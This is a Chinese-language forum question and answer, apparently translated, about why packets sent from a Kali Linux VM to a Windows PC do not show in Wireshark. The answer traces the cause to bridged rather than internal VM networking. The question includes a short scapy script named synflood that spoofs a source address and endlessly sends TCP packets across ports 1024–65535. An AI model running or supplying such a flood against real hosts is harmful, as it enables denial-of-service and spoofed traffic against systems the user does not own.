linux - 将数据包转发到窗口
问题描述
我编写了一个代码,将一个数据包从我的 Kali Linux 机器发送到我的 Windows PC,但该数据包没有显示在 Wireshark 中。代码中没有错误,它发送数据包但没有收到。
任何人都可以帮忙吗?
#!/usr/bin/python
from scapy.all import *
def synflood(src,tgt,message):
for dport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=4444, dport=dport)
RAWlayer = Raw(load=message)
pkt = IPlayer/TCPlayer
send(pkt)
source = input("src: ")
target = input("targert : ")
message = input(" load : ")
while True:
synflood(source,target,message)
解决方案
更新:所以我解决了这个问题!我尝试用“dport = 80”替换for语句,对于目标IP,我选择了另一个目标IP而不是我的电脑a它出现在wireshark中,这就是我意识到我应该配置内部VM网络而不是桥接网络的方式,它奏效了